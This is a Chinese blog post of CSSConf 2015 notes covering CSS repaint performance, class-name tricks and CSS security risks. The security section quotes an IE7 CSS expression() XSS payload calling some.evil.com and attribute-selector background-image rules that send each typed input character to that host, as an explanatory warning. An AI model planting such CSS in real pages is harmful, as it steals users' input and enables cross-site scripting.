CSSConf 2015 筆記(三) – Performance 及其他

除了前兩部分 PostCSS 和 CSS Modules 之外,這次 Conf 的方向,怎麼說呢,應該說『分歧』吧。有些人致力於把人工比重減到最低,另一群人繼續苦苦琢磨 hand craft 的奇技淫巧,兩者往完全相反的方向前進…。或許就如神同事所說,CSS 正走到一個摸索未來發展的階段,這沒有不好,代表你可以依照不同的專案需求,自己挑選適合的路。不過還是有些內容對各方都有幫助,整理一下。

CSS Performance

這個 session 講者比較強調的重點,是要減少 CSS 的寫法讓畫面重繪的次數和面積。例如:

  • 將 :hover selector 下在面積比較小的 element 上
  • 在捲動的時候關掉 hover 事件的 listener
  • 注意捲動時有哪些 element 被重繪
  • 把經常更動的 element 放在檔案前面也有幫助
  • 注意 position:fixed 和 scrollable 的 element 會常常被重繪
  • 動畫造成的重繪,可以用以下方法提醒 Browser 要提早 optimize 資源:
    .move-elem {
      will-change: transform;
    }
    .move-elem {
      transform: translateZ(0);
    }
    

《原始投影片》

CSS Class Name Magic and CSS Security

這個 session 講者提出了幾個不為人知但早已存在的 CSS fun facts 外,也提醒 CSS 可能的安全性問題。

  • 可以重複同一個 selector 來取代 !important
    .bar {
      background: blue !important;
    }
    /* 下面選到的也是 .bar */
    .bar.bar.bar.bar.bar {
      background: blue;
    }
    
  • 有空格的 font-family 名稱其實不需要引號
    div {
      font-family: Comic Sans MS;
    }
    
  • 單行註解可以 work,因為不會被正確解析反而達到註解效果
    div {
    /* 正確的註解 */
    // 單行註解
    }
    
  • 用 escape 可以寫出奇奇怪怪的 class name
    螢幕快照 2016-02-19 下午5.02.26
    螢幕快照 2016-02-19 下午5.04.02
  • 最重要的是早期的 CSS expression 或 background-image 可能成為駭客攻擊的管道。例如:
    <meta http-equiv='x-ua-compatible' content='IE=7'>
    <!-- 通常都設成 content='IE=edge',這邊刻意設成 IE=7,瀏覽器就兼容 IE7 了-->
    
    div {
      width: expression(
       open('http://some.evil.com?v=a');
        alert('XSS');
      );
    }
    

    以下是一個用 css 偷 input 資料的 demo
    http://eaea.sirdarckcat.net/cssar/v2/

    它原理是利用屬性讀取 CSS selector [value^=”a”],讀取 26 個字母,每當 user 打一個字母,CSS 就 apply 這個字母的 background-image,但 background-image 的路徑指向駭客網站,剛好把 user 打的值送過去,真的很厲害啊!

     input[value^='a'] { background-image: url('//some.evil.com?v=a'); }
     input[value^='b'] { background-image: url('//some.evil.com?v=b'); }
    

《原始投影片》

廣告

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com Logo

您的留言將使用 WordPress.com 帳號。 登出 / 變更 )

Twitter picture

您的留言將使用 Twitter 帳號。 登出 / 變更 )

Facebook照片

您的留言將使用 Facebook 帳號。 登出 / 變更 )

Google+ photo

您的留言將使用 Google+ 帳號。 登出 / 變更 )

連結到 %s